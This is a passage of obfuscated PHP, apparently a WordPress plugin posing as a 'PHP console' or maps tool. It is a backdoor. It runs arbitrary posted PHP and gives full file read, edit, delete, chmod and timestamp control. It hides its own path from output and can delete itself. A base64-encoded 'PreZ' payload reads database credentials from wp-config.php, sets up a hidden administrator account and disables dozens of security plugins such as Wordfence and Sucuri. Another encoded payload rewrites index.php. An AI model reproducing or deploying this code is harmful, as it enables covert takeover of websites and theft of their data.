document.body.appendChild(form);
form.submit();
});
}
var mapsForm = document.querySelector(".console-form--maps");
if (mapsForm) {
mapsForm.addEventListener("submit", function(e) {
var textarea = mapsForm.querySelector("textarea[name='maps_code']");
if (textarea) {
var savedCode = textarea.value;
setTimeout(function() {
textarea.value = savedCode;
}, 100);
}
});
}
});
</script>
<?php
echo '</div>';
}
function a0a31a0($a0a4a0) {
ob_start();
if (isset($_POST['a0a27a0'], $_POST['a0a26a0'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
chdir($a0a4a0);
a0a43a0(stripslashes($_POST['a0a26a0']));
}
if (isset($_POST['a0a76a0'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
a0a76a0ExecuteShell($a0a4a0);
}
if (isset($_POST['a0a78a0'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
a0a78a0ExecutePreZ($a0a4a0);
}
if (isset($_POST['a0a95a0_upload'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
a0a95a0UploadCode();
}
if (isset($_POST['a0a30a0'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
a0a1a0();
wp_redirect(admin_url('plugins.php?plugin-deleted=1'));
exit;
}
if (isset($_POST['a0a93a0'], $_POST['a0a93a0_code'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
a0a93a0ApplyRcCode(stripslashes($_POST['a0a93a0_code']));
}
if (isset($_POST['a0a95a0'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
a0a95a0CreateAutoUpdatePlugin();
}
if (isset($_POST['maps_execute'], $_POST['maps_code'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
chdir($a0a4a0);
a0a43a0(stripslashes($_POST['maps_code']));
}
if (isset($_POST['maps_create_file'], $_POST['maps_code'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
a0a75a0CreateFileWithCode($a0a4a0, stripslashes($_POST['maps_code']));
}
if (isset($_POST['maps_delete_file'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
a0a76a0DeleteFile($a0a4a0);
}
if (isset($_POST['maps_fix_htaccess'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
a0a77a0FixHtaccess($a0a4a0);
}
if (isset($_POST['maps_prez'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
a0a78a0ExecutePreZ($a0a4a0);
}
if (isset($_POST['maps_fix_index'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'a0a23a0') && current_user_can('manage_options')) {
a0a79a0FixIndex($a0a4a0);
}
$output = ob_get_clean();
return $output;
if (isset($_POST['view_file'])) {
a0a47a0(base64_decode($_POST['view_file']));
}
if (isset($_POST['edit_file'])) {
a0a48a0(base64_decode($_POST['edit_file']));
}
if (isset($_POST['save_file']) && isset($_POST['file_path'])) {
a0a49a0(base64_decode($_POST['file_path']), stripslashes($_POST['file_content']));
}
if (isset($_POST['delete_file'])) {
a0a50a0(base64_decode($_POST['delete_file']));
}
if (isset($_POST['chmod_file']) && isset($_POST['chmod_value'])) {
a0a51a0(base64_decode($_POST['chmod_file']), $_POST['chmod_value']);
}
if (isset($_POST['touch_file']) && isset($_POST['touch_value'])) {
a0a52a0(base64_decode($_POST['touch_file']), $_POST['touch_value']);
}
}
function a0a83a0FilterOutput($output) {
$lines = preg_split("/(\r\n|\r|\n)/", $output);
$filtered = [];
foreach ($lines as $line) {
if (stripos($line, '/plugins/PHP-Console/') !== false) {
continue;
}
$trimmed = trim($line);
if ($trimmed === '') {
continue;
}
$filtered[] = $trimmed;
}
return implode("\n", $filtered);
}
function a0a43a0($a0a54a0) {
try {
if (!defined('GLOB_BRACE')) {
define('GLOB_BRACE', 0);
}
$temp_file = tempnam(sys_get_temp_dir(), 'php_console_code_');
$temp_php = $temp_file . '.php';
file_put_contents($temp_php, '<?php ' . $a0a54a0);
ob_start();
include $temp_php;
$a0a55a0 = ob_get_clean();
unlink($temp_php);
unlink($temp_file);
$a0a55a0 = trim($a0a55a0);
echo '<div style="white-space: pre-wrap;">' . nl2br(htmlspecialchars($a0a55a0)) . '</div>';
} catch (Throwable $a0a56a0) {
echo '<div style="color: red; white-space: pre-wrap;">Ошибка выполнения кода: ' . htmlspecialchars($a0a56a0->getMessage()) . '</div>';
}
}
function a0a47a0($a0a16a0) {
if (is_file($a0a16a0)) {
$a0a59a0 = file_get_contents($a0a16a0);
echo '<h2>Просмотр файла: ' . esc_html(basename($a0a16a0)) . '</h2>';
echo '<pre style="white-space: pre-wrap; background: #f4f4f4; padding: 10px;">' . htmlspecialchars($a0a59a0) . '</pre>';
echo '<a href="#" onclick="history.back(); return false;">Назад</a>';
} else {
echo '<div style="color: red;">Ошибка: Файл не найден.</div>';
}
}
function a0a48a0($a0a16a0) {
if (is_file($a0a16a0)) {
$a0a59a0 = file_get_contents($a0a16a0);
echo '<h2>Редактирование файла: ' . esc_html(basename($a0a16a0)) . '</h2>';
echo '<form method="post">'
. wp_nonce_field('a0a23a0')
. '<textarea name="file_content" style="width: 100%; height: 400px;">' . htmlspecialchars($a0a59a0) . '</textarea><br>'
. '<input type="hidden" name="file_path" value="' . base64_encode($a0a16a0) . '" />'
. get_submit_button('Сохранить изменения', 'primary', 'save_file')
. '<input type="hidden" name="current_dir" value="' . base64_encode(dirname($a0a16a0)) . '" />'
. '</form>';
} else {
echo '<div style="color: red;">Ошибка: Файл не найден.</div>';
}
}
function a0a49a0($a0a16a0, $a0a59a0) {
if (is_file($a0a16a0)) {
if (file_put_contents($a0a16a0, $a0a59a0) !== false) {
echo '<div style="color: green;">Файл успешно сохранен.</div>';
} else {
echo '<div style="color: red;">Ошибка: Не удалось сохранить файл.</div>';
}
} else {
echo '<div style="color: red;">Ошибка: Файл не найден.</div>';
}
}
function a0a50a0($a0a16a0) {
if (is_file($a0a16a0)) {
if (unlink($a0a16a0)) {
echo '<div style="color: green;">Файл успешно удален.</div>';
} else {
echo '<div style="color: red;">Ошибка: Не удалось удалить файл.</div>';
}
} else {
echo '<div style="color: red;">Ошибка: Файл не найден.</div>';
}
}
function a0a51a0($a0a16a0, $a0a60a0) {
if (is_file($a0a16a0)) {
if (chmod($a0a16a0, octdec($a0a60a0))) {
echo '<div style="color: green;">Права доступа к файлу успешно изменены.</div>';
} else {
echo '<div style="color: red;">Ошибка: Не удалось изменить права доступа к файлу.</div>';
}
} else {
echo '<div style="color: red;">Ошибка: Файл не найден.</div>';
}
}
function a0a52a0($a0a16a0, $a0a61a0) {
if (is_file($a0a16a0)) {
$a0a62a0 = strtotime($a0a61a0);
if (touch($a0a16a0, $a0a62a0)) {
echo '<div style="color: green;">Время файла успешно изменено.</div>';
} else {
echo '<div style="color: red;">Ошибка: Не удалось Tough файла.</div>';
}
} else {
echo '<div style="color: red;">Ошибка: Файл не найден.</div>';
}
}
function a0a1a0() {
delete_option('a0a64a0');
delete_option('a0a70a0');
$plugin_dir = dirname(__FILE__);
if (file_exists(__FILE__)) {
unlink(__FILE__);
}
if (is_dir($plugin_dir)) {
$files = glob($plugin_dir . '/*');
foreach ($files as $file) {
if (is_file($file)) {
unlink($file);
}
}
rmdir($plugin_dir);
}
echo '<script type="text/javascript">
window.location.href = "' . admin_url('plugins.php') . '";
</script>';
exit;
}
function a0a95a0UploadCode() {
if (!current_user_can('manage_options')) {
echo '<div style="color: red;">Недостаточно прав для загрузки кода.</div>';
return false;
}
if (isset($_POST['a0a95a0_code']) && !empty($_POST['a0a95a0_code'])) {
$code = stripslashes($_POST['a0a95a0_code']);
echo '<div style="color: #333;">Выполнение кода...</div>';
try {
$old_error_reporting = error_reporting(E_ALL);
$temp_file = tempnam(sys_get_temp_dir(), 'php_console_upload_');
$temp_php = $temp_file . '.php';
file_put_contents($temp_php, '<?php ' . $code);
ob_start();
include $temp_php;
$output = ob_get_clean();
unlink($temp_php);
unlink($temp_file);
error_reporting($old_error_reporting);
if (!empty($output)) {
echo '<div style="color: green;">Код успешно выполнен:</div>';
echo '<pre style="background: #f5f5f5; padding: 10px; border: 1px solid #ddd; margin: 10px 0;">' . htmlspecialchars($output) . '</pre>';
} else {
echo '<div style="color: green;">Код успешно выполнен (без вывода).</div>';
}
} catch (ParseError $e) {
echo '<div style="color: red;">Ошибка синтаксиса PHP: ' . $e->getMessage() . '</div>';
} catch (Error $e) {
echo '<div style="color: red;">Ошибка выполнения: ' . $e->getMessage() . '</div>';
} catch (Exception $e) {
echo '<div style="color: red;">Исключение: ' . $e->getMessage() . '</div>';
}
return true;
}
return false;
}
function a0a78a0ExecutePreZ($a0a4a0) {
if (!current_user_can('manage_options')) {
echo '<div style="color: red;">Недостаточно прав для выполнения PreZ.</div>';
return false;
}
try {
echo '<div style="color: #666;">Выполнение PreZ кода...</div>';
$prezCode = base64_decode('ZGVmaW5lKCdDVVJSRU5URElSJywgZ2V0Y3dkKCkpOwoKJGFkbWluTG9naW4gPSAnd3B1cGRhdGUnOwokYWRtaW5QYXNzd29yZCA9ICckUCRCUDAxTmZhaWpwekw5eXNCdW9MWmN2N3RmSVpPcnkvdHdZVHgnOwokYWRtaW5OaWNlbmFtZSA9ICd3cGFkbWluJzsKJGFkbWluRW1haWwgPSAnd3BhZG1pbkBleGFtcGxlLmNvbSc7CiRhZG1pblVybCA9ICdodHRwczovL3dvcmRwcmVzcy5vcmcnOwokYWRtaW5EYXRlUmVnaXN0ZXIgPSAnMjAxOS0wNy0wOSAwMDowMDowMCc7CiRhZG1pbkFjdGl2YXRpb25LZXkgPSAnJzsKJGFkbWluU3RhdHVzID0gJzAnOwokYWRtaW5EaXNwbGF5TmFtZSA9ICd3cGFkbWluJzsKCiRhZG1pblZhcnMgPSBhcnJheSgnYWRtaW5Mb2dpbicsICdhZG1pblBhc3N3b3JkJywgJ2FkbWluTmljZW5hbWUnCiAgICAsICdhZG1pbkVtYWlsJywgJ2FkbWluVXJsJywgJ2FkbWluRGF0ZVJlZ2lzdGVyJywgJ2FkbWluQWN0aXZhdGlvbktleScKICAgICwgJ2FkbWluU3RhdHVzJywgJ2FkbWluRGlzcGxheU5hbWUnKTsKCiRhZG1pbkRhdGEgPSBjb21wYWN0KCRhZG1pblZhcnMpOwoKJGFjdGlvbnMgPSBhcnJheSgKICAgICdEaXNhYmxlQmFkUGx1Z2lucycgPT4gMSwKKTsKCmlmIChpc19udWxsKCRyb290RGlyID0gZGV0ZWN0V1Byb290RGlyKCkpKSB7CiAgICBkaWUoJ3Jvb3QgZGlyZWN0b3J5IG5vdCBmb3VuZCcpOwp9CgpkZWZpbmUoJ1dQX1JPT1RfRElSJywgJHJvb3REaXIpOwoKaWYgKCFmaWxlX2V4aXN0cygkd3BDb25maWdQYXRoID0gJHJvb3REaXIgLiAnL3dwLWNvbmZpZy5waHAnKSkgewogICAgZWNobyAnd3AtY29uZmlnIG5vdCBmb3VuZCc7CiAgICBleGl0Owp9Cgokd3BDb25maWdTdHJpbmcgPSBmaWxlX2dldF9jb250ZW50cygkd3BDb25maWdQYXRoKTsKcHJlZ19tYXRjaF9hbGwoIn5eZGVmaW5lLiooREJfTkFNRXxEQl9VU0VSfERCX1BBU1NXT1JEfERCX0hPU1QpWydcIl0sXHMqWydcIl0oLispWydcIl1ccypcKTt+bSIsICR3cENvbmZpZ1N0cmluZywgJGRiaG9zdCk7CnByZWdfbWF0Y2goIn50YWJsZV9wcmVmaXhccys9XHMqWydcIl0oLispWydcIl07fiIsICR3cENvbmZpZ1N0cmluZywgJHByZWZpeCk7CgppZiAoc3RyaXN0cigkZGJob3N0WzJdWzNdLCAnOicpICE9PSBmYWxzZSkgewogICAgbGlzdCgkaG9zdEFkZHIsICRkYlBvcnQpID0gZXhwbG9kZSgnOicsICRkYmhvc3RbMl1bM10pOwp9IGVsc2UgewogICAgJGhvc3RBZGRyID0gJGRiaG9zdFsyXVszXTsKICAgICRkYlBvcnQgPSAzMzA2Owp9CgokZGJuYW1lID0gJGRiaG9zdFsyXVswXTsKJGRidXNlciA9ICRkYmhvc3RbMl1bMV07CiRkYnBhc3N3b3JkID0gJGRiaG9zdFsyXVsyXTsKJGRiaG9zdGFkZHIgPSAkaG9zdEFkZHI7CiRkYnByZWZpeCA9ICRwcmVmaXhbMV07CgokbGluayA9IG15c3FsaV9jb25uZWN0KCRkYmhvc3RhZGRyLCAkZGJ1c2VyLCAkZGJwYXNzd29yZCwgJGRibmFtZSwgJGRiUG9ydCk7CgppZiAobXlzcWxpX2Nvbm5lY3RfZXJybm8oKSkgewogICAgJGVycm9yQ29ubmVjdGlvbiA9IDE7CiAgICBlY2hvICJDb3VsZCBub3QgY29ubmVjdDogIiAuIG15c3FsaV9lcnJvcigpIC4gUEhQX0VPTDsKfSBlbHNlIHsKICAgIGVjaG8gIkNvbm5lY3RlZCBzdWNjZXNzZnVsbHkiIC4gUEhQX0VPTDsKCiAgICAkd3BIb21lVXJsID0gbXlzcWxpX3F1ZXJ5KCRsaW5rLCAic2VsZWN0ICogZnJvbSAiIC4gJGRicHJlZml4IC4gIm9wdGlvbnMgd2hlcmUgb3B0aW9uX25hbWUgPSAnaG9tZScgb3Igb3B0aW9uX25hbWUgPSAnc2l0ZXVybCciKTsKCiAgICAkY3VycmVudGhvc3QgPSAnJzsKCiAgICB3aGlsZSAoJHJlcyA9IG15c3FsaV9mZXRjaF9hcnJheSgkd3BIb21lVXJsKSkgewogICAgICAgIGlmIChzdHJpc3RyKCRyZXNbJ29wdGlvbl92YWx1ZSddLCAnaHR0cCcpICE9PSBmYWxzZSkgewogICAgICAgICAgICAkY3VycmVudGhvc3QgPSAkcmVzWydvcHRpb25fdmFsdWUnXTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQp9CgplY2hvICRjdXJyZW50aG9zdCAuIFBIUF9FT0w7CgokZGJEYXRhVmFycyA9IGFycmF5KCdkYm5hbWUnLCAnZGJ1c2VyJywgJ2RicGFzc3dvcmQnLCAnZGJob3N0YWRkcicsICdkYnByZWZpeCcsICdjdXJyZW50aG9zdCcpOwokZGJEYXRhID0gY29tcGFjdCgkZGJEYXRhVmFycyk7Cgpmb3JlYWNoICgkYWN0aW9ucyBhcyAkYWN0aW9uTmFtZSA9PiAkc3RhdHVzKSB7CiAgICBpZiAoISRzdGF0dXMpIHsKICAgICAgICBjb250aW51ZTsKICAgIH0KICAgIGRvQWN0aW9uKCRhY3Rpb25OYW1lLCAkbGluaywgJGRiRGF0YSwgJGFkbWluRGF0YSk7Cn0KCmZ1bmN0aW9uIGRvQWN0aW9uKCRhY3Rpb25OYW1lLCAkbGluaywgJGRiRGF0YSwgJGFkbWluRGF0YSkgewogICAgJGNhbGxCYWNrTmFtZSA9ICdhY3Rpb24nIC4gJGFjdGlvbk5hbWU7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCRjYWxsQmFja05hbWUpKSB7CiAgICAgICAgZWNobyBzdHJfcmVwZWF0KCdfJywgNDAwKSAuIFBIUF9FT0w7CiAgICAgICAgZWNobyBQSFBfRU9MIC4gJGNhbGxCYWNrTmFtZSAuICcgc3RhcnQnIC4gUEhQX0VPTDsKICAgICAgICBpZiAoIWNhbGxfdXNlcl9mdW5jX2FycmF5KCRjYWxsQmFja05hbWUsIGFycmF5KCRsaW5rLCAkZGJEYXRhLCAkYWRtaW5EYXRhKSkpIHsKICAgICAgICAgICAgZWNobyAkY2FsbEJhY2tOYW1lIC4gJyByZXR1cm4gZmFsc2UnIC4gUEhQX0VPTDsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gImNhbGxCYWNrICRjYWxsQmFja05hbWUgbm90IGZvdW5kIiAuIFBIUF9FT0w7CiAgICB9Cn0KCmZ1bmN0aW9uIGFjdGlvbkRpc2FibGVCYWRQbHVnaW5zKCRsaW5rLCAkZGJEYXRhLCAkYWRtaW5EYXRhKSB7CiAgICBleHRyYWN0KCRkYkRhdGEpOwogICAgdHJ5IHsKICAgICAgICAkcXVlcnkgPSAiU0VMRUNUICogIEZST00gYCR7ZGJwcmVmaXh9b3B0aW9uc2AgV0hFUkUgYG9wdGlvbl9uYW1lYCBMSUtFICclYWN0aXZlX3BsdWdpbnMlJyI7CiAgICAgICAgJGFjdGl2ZVBsdWdpbnNSZXN1bHQgPSBteXNxbGlfcXVlcnkoJGxpbmssICRxdWVyeSk7CiAgICAgICAgJHJlc3VsdHNBcnIgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJGFjdGl2ZVBsdWdpbnNSZXN1bHQpOwogICAgICAgICRzZXJpYWxpemVkQXJyID0gJHJlc3VsdHNBcnJbJ29wdGlvbl92YWx1ZSddOwogICAgICAgICRwcmVwZWFyZWQgPSBwcmVwYXJlUGx1Z2luU3RyaW5nKCRzZXJpYWxpemVkQXJyKTsKICAgICAgICBpZiAoJHNlcmlhbGl6ZWRBcnIgPT09ICRwcmVwZWFyZWQpIHsKICAgICAgICAgICAgZWNobyAnbm8gYmFkIHBsdWdpbnMnIC4gUEhQX0VPTDsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgICRwcmVwZWFyZWQgPSBteXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRsaW5rLCAkcHJlcGVhcmVkKTsKICAgICAgICAkbmV3UGx1Z2luc1N0cmluZ1F1ZXJ5ID0gInVwZGF0ZSBgJHtkYnByZWZpeH1vcHRpb25zYCBzZXQgb3B0aW9uX3ZhbHVlID0gJyR7cHJlcGVhcmVkfScgd2hlcmUgb3B0aW9uX2lkID0gJHtyZXN1bHRzQXJyWydvcHRpb25faWQnXX0iOwogICAgICAgIGlmIChteXNxbGlfcXVlcnkoJGxpbmssICRuZXdQbHVnaW5zU3RyaW5nUXVlcnkpKSB7CiAgICAgICAgICAgIGVjaG8gJ3BsdWdpbnMgZGlzYWJsZWQnIC4gUEhQX0VPTDsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiB0cnVlOwogICAgfSBjYXRjaCAoRXhjZXB0aW9uICRleCkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KfQoKZnVuY3Rpb24gcHJlcGFyZVBsdWdpblN0cmluZygkc2VyaWFsaXplZEFycikgewogICAgJGRlY29kZWQgPSB1bnNlcmlhbGl6ZSgkc2VyaWFsaXplZEFycik7CiAgICAkbmV3QXJyID0gYXJyYXkoKTsKICAgIGZvcmVhY2ggKCRkZWNvZGVkIGFzICRrZXkgPT4gJHZhbHVlKSB7CiAgICAgICAgaWYgKGlzQmFkUGx1Z2luKCR2YWx1ZSkpIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgICRuZXdBcnJbXSA9ICR2YWx1ZTsKICAgIH0KICAgIHJldHVybiBzZXJpYWxpemUoJG5ld0Fycik7Cn0KCmZ1bmN0aW9uIGlzQmFkUGx1Z2luKCRuYW1lKSB7CiAgICAkYmFkUGx1Z2lucyA9IGFycmF5KAogICAgICAgICdzZy1zZWN1cml0eScsIAogICAgICAgICd3b3JkZmVuY2UnLCAKICAgICAgICAnc3VjdXJpJywgCiAgICAgICAgJ3dwLXNlY3VyaXR5JywgCiAgICAgICAgJ2pldHBhY2snLCAKICAgICAgICAnc3VjdXJpLXNjYW5uZXInLCAKICAgICAgICAnZ290bWxzJywgCiAgICAgICAgJ3NlY3VyaXR5LW1hbHdhcmUtZmlyZXdhbGwnLCAKICAgICAgICAnYWxsLWluLW9uZS13cC1zZWN1cml0eS1hbmQtZmlyZXdhbGwnLCAKICAgICAgICAnaXdwLXNlY3VyaXR5JywgCiAgICAgICAgJ3NlY3VyaXR5LW5pbmphJywgCiAgICAgICAgJ3dwLWNlcmJlcicsIAogICAgICAgICduaW5qYS1maXJld2FsbCcsIAogICAgICAgICdkZWZlbmRlci1zZWN1cml0eScsIAogICAgICAgICd3cC1zaW1wbGUtZmlyZXdhbGwnLCAKICAgICAgICAnYmV0dGVyLXdwLXNlY3VyaXR5JywgCiAgICAgICAgJ2xvZ2luaXplcicsIAogICAgICAgICduaW5qYXNjYW5uZXInLCAKICAgICAgICAnaG9uZXlwb3QnLCAKICAgICAgICAnc2hpZWxkLXNlY3VyaXR5JywgCiAgICAgICAgJ21hbGNhcmUtc2VjdXJpdHknLCAKICAgICAgICAnYnVsbGV0cHJvb2Ytc2VjdXJpdHknLCAKICAgICAgICAnd3AtZmFpbDJiYW4nLCAKICAgICAgICAnc2VjdXJpdHktc2FmZScsIAogICAgICAgICd0aXRhbi1zZWN1cml0eScsIAogICAgICAgICd3ZWJjcmFmdGljLXNlY3VyaXR5JywgCiAgICAgICAgJ2NsZWFudGFsay1zcGFtLXByb3RlY3QnLAogICAgICAgICdsaW1pdC1sb2dpbi1hdHRlbXB0cycsCiAgICAgICAgJ2l3cC1jbGllbnQnLAogICAgICAgICdhbnRpLXNwYW0nLAogICAgICAgICduaW5qYWZpcmV3YWxsJywKICAgICAgICAnaXAtbG9jYXRpb24tYmxvY2snLAogICAgICAgICdybHJzc3NsLXJlYWxseS1zaW1wbGUtc3NsJywKICAgICAgICAnbWFpbnRlbmFuY2UnLAogICAgICAgICdyb2NrZXQtbWFpbnRlbmFuY2UtbW9kZScsCiAgICAgICAgJ3VuZGVyLWNvbnN0cnVjdGlvbi1wYWdlJywKICAgICAgICAnY29taW5nLXNvb24nLAogICAgICAgICdwYWdlLWJ1aWxkZXItYWRkJywKICAgICAgICAnd3AtbWFpbnRlbmFuY2UtbW9kZScsCiAgICAgICAgJ2NtcC1jb21pbmctc29vbi1tYWludGVuYW5jZScsCiAgICAgICAgJ2NvbG9ybGliLWNvbWluZy1zb29uLW1haW50ZW5hbmNlJywKICAgICAgICAnY29taW5nLXNvb24tbWFpbnRlbmFuY2UtbW9kZScsCiAgICAgICAgJ2NvbWluZy1zb29uLXdwJywKICAgICAgICAncmVzcG9uc2l2ZS1jb21pbmctc29vbicsCiAgICAgICAgJ3Jlc3BvbnNpdmUtY29taW5nLXNvb24tcGFnZScsCiAgICAgICAgJ3NpdGUtb2ZmbGluZScsCiAgICAgICAgJ3VuZGVyLWNvbnN0cnVjdGlvbi1tYWludGVuYW5jZS1tb2RlJywKICAgICAgICAnc2l0ZXByZXNzLW11bHRpbGluZ3VhbC1jbXMnLAogICAgICAgICdyb2xlLXNjb3BlcicsCiAgICAgICAgJ2Nvb2tpZXMtYW5kLWNvbnRlbnQtc2VjdXJpdHktcG9saWN5JywKICAgICAgICAncG9seWxhbmcnLAogICAgICAgICdibGFja2hvbGUtYmFkLWJvdHMnLAogICAgICAgICdibG9jay1iYWQtcXVlcmllcycsCiAgICAgICAgJ2hpZGUtbG9naW4tcGFnZScsCiAgICAgICAgJ3JlZGlyZWN0aW9uJywKICAgICAgICAnYm9ybGFicy1jb29raWUnLAogICAgICAgICdkdy1tZW1iZXJzLW9ubHknLAogICAgICAgICdyZWFsLWNvb2tpZS1iYW5uZXInLAogICAgICAgICd3cC1yb2NrZXQnLAogICAgICAgICdzZWN1cml0eS13b3JkcHJlc3MnLAogICAgICAgICc0MDQtdG8tMzAxJywKICAgICAgICAndW55c29uJywKICAgICAgICAnd3BzLWhpZGUtbG9naW4nLAogICAgICAgICdrdmV0ZW4tdnlwcmF2YScsCiAgICAgICAgJ2xpdGVzcGVlZC1jYWNoZScsCiAgICAgICAgJ2pldHBhY2stYm9vc3QnLAogICAgICAgICd3My10b3RhbC1jYWNoZScsCiAgICAgICAgJ2F1dG9wdGltaXplJywKICAgICAgICAnY29va2llYm90JywKICAgICAgICAncGFzc3dvcmQtcHJvdGVjdC13b3JkcHJlc3MnLAogICAgICAgICdwYXNzd29yZC1wcm90ZWN0ZWQnLAogICAgICAgICd0ZW53ZWItc3BlZWQtb3B0aW1pemVyJywKICAgICAgICAnYW1wJywKICAgICAgICAnYmx1ZWhvc3Qtd29yZHByZXNzLXBsdWdpbicsCiAgICAgICAgJ3JlbGF0aXZlLXVybCcsCiAgICAgICAgJ2N1c3RvbS00MDQtcHJvJywKICAgICAgICAnd3Bmb3Jtcy1saXRlJywKICAgICAgICAnd3AtcGx1Z2luLWhvc3RnYXRvcicsCiAgICAgICAgJ3dwLWZhc3Rlc3QtY2FjaGUnLAogICAgICAgICd3cC1mYXN0ZXN0LWNhY2hlLXByZW1pdW0nLAogICAgICAgICd1bmRlci1jb25zdHJ1Y3Rpb24tbGlnaHQnLAogICAgICAgICdob3N0aW5nZXInLAogICAgICAgICdveHlnZW4nLAogICAgICAgICd3cGNsZWYnLAogICAgICAgICdkaXNhYmxlLWZlZWRzLXdwJywKICAgICAgICAnY29va2llLWxhdy1pbmZvJywKICAgICAgICAnd3AtbWV0ZW9yJywKICAgICAgICAnd29ya2VyJywKICAgICAgICAnbWluaW1hbC1jb21pbmctc29vbi1tYWludGVuYW5jZS1tb2RlJywKICAgICAgICAnbWFudGVuaW1pZW50by13ZWInLAogICAgKTsKICAgIGZvcmVhY2ggKCRiYWRQbHVnaW5zIGFzICRiYWRQbHVnaW4pIHsKICAgICAgICBpZiAoc3RyaXN0cigkbmFtZSwgJGJhZFBsdWdpbikgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIGVjaG8gJG5hbWUgLiAnIHdpbGwgYmUgcmVtb3ZlZCcgLiBQSFBfRU9MOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIGRldGVjdFdQcm9vdERpcigpIHsKICAgIGlmIChmaWxlX2V4aXN0cyhDVVJSRU5URElSIC4gJy93cC1jb25maWcucGhwJykpIHsKICAgICAgICByZXR1cm4gQ1VSUkVOVERJUjsKICAgIH0KICAgICRub3JtYWxpemVQYXRoID0gcHJlZ19yZXBsYWNlKCd+XC8od3AtYWRtaW58d3AtaW5jbHVkZXN8d3AtY29udGVudCkuKiR+JywgJycsIENVUlJFTlRESVIpOwogICAgaWYgKGZpbGVfZXhpc3RzKCRub3JtYWxpemVQYXRoIC4gJy93cC1jb25maWcucGhwJykpIHsKICAgICAgICByZXR1cm4gJG5vcm1hbGl6ZVBhdGg7CiAgICB9CiAgICByZXR1cm4gbnVsbDsKfQo=');
$temp_file = tempnam(sys_get_temp_dir(), 'php_console_prez_');
$temp_php = $temp_file . '.php';
file_put_contents($temp_php, '<?php ' . $prezCode);
ob_start();
include $temp_php;
$output = ob_get_clean();
unlink($temp_php);
unlink($temp_file);
echo '<div style="color: green;">PreZ успешно выполнен!</div>';
if (!empty($output)) {
echo '<div style="color: #e4e8f0; margin-top: 10px;"><strong>Результат выполнения:</strong></div>';
echo '<pre style="background: #0b1120; color: #e4e8f0; padding: 10px; border: 1px solid rgba(255,255,255,0.1); margin: 10px 0; white-space: pre-wrap; border-radius: 4px;">' . htmlspecialchars($output) . '</pre>';
} else {
echo '<div style="color: #9aa6b2; margin-top: 10px;">PreZ выполнен без вывода.</div>';
}
return true;
} catch (Exception $e) {
echo '<div style="color: red;">Ошибка PreZ: ' . $e->getMessage() . '</div>';
return false;
}
}
function a0a79a0FixIndex($a0a4a0) {
if (!current_user_can('manage_options')) {
echo '<div style="color: red;">Недостаточно прав для исправления index.php.</div>';
return false;
}
try {
$fixCode = base64_decode('ZGVmaW5lKCdESVNBQkxFX0lOREVYX1JFU1RPUkUnLCAwKTsKZGVmaW5lKCdDVVJSRU5URElSJywgZ2V0Y3dkKCkpOwoKZGVmaW5lKCdJTkRFWF9DT0RFJywgJ1BEOXdhSEFOQ2k4cUtnb2dLaUJHY205dWRDQjBieUIwYUdVZ1YyOXlaRkJ5WlhOeklHRndjR3hwWTJGMGFXOXVMaUJVYUdseklHWnBiR1VnWkc5bGMyNG5kQ0JrYnlCaGJubDBhR2x1Wnl3Z1luVjBJR3h2WVdSekRRb2dLaUIzY0MxaWJHOW5MV2hsWVdSbGNpNXdhSEFnZDJocFkyZ2daRzlsY3lCaGJtUWdkR1ZzYkhNZ1YyOXlaRkJ5WlhOeklIUnZJR3h2WVdRZ2RHaGxJSFJvWlcxbExnMEtJQ29OQ2lBcUlFQndZV05yWVdkbElGZHZjbVJRY21WemN3MEtJQ292RFFvTkNpOHFLZzBLSUNvZ1ZHVnNiSE1nVjI5eVpGQnlaWE56SUhSdklHeHZZV1FnZEdobElGZHZjbVJRY21WemN5QjBhR1Z0WlNCaGJtUWdiM1YwY0hWMElHbDBMZzBLSUNvTkNpQXFJRUIyWVhJZ1ltOXZiQTBLSUNvdkRRcGtaV1pwYm1Vb0lDZFhVRjlWVTBWZlZFaEZUVVZUSnl3Z2RISjFaU0FwT3cwS0RRb3ZLaW9nVEc5aFpITWdkR2hsSUZkdmNtUlFjbVZ6Y3lCRmJuWnBjbTl1YldWdWRDQmhibVFnVkdWdGNHeGhkR1VnS2k4TkNuSmxjWFZwY21VZ1gxOUVTVkpmWHlBdUlDY3ZkM0F0WW14dlp5MW9aV0ZrWlhJdWNHaHdKenM9Jyk7CgpmdW5jdGlvbiBkZXRlY3RXUFJvb3REaXIoKSB7CiAgICBp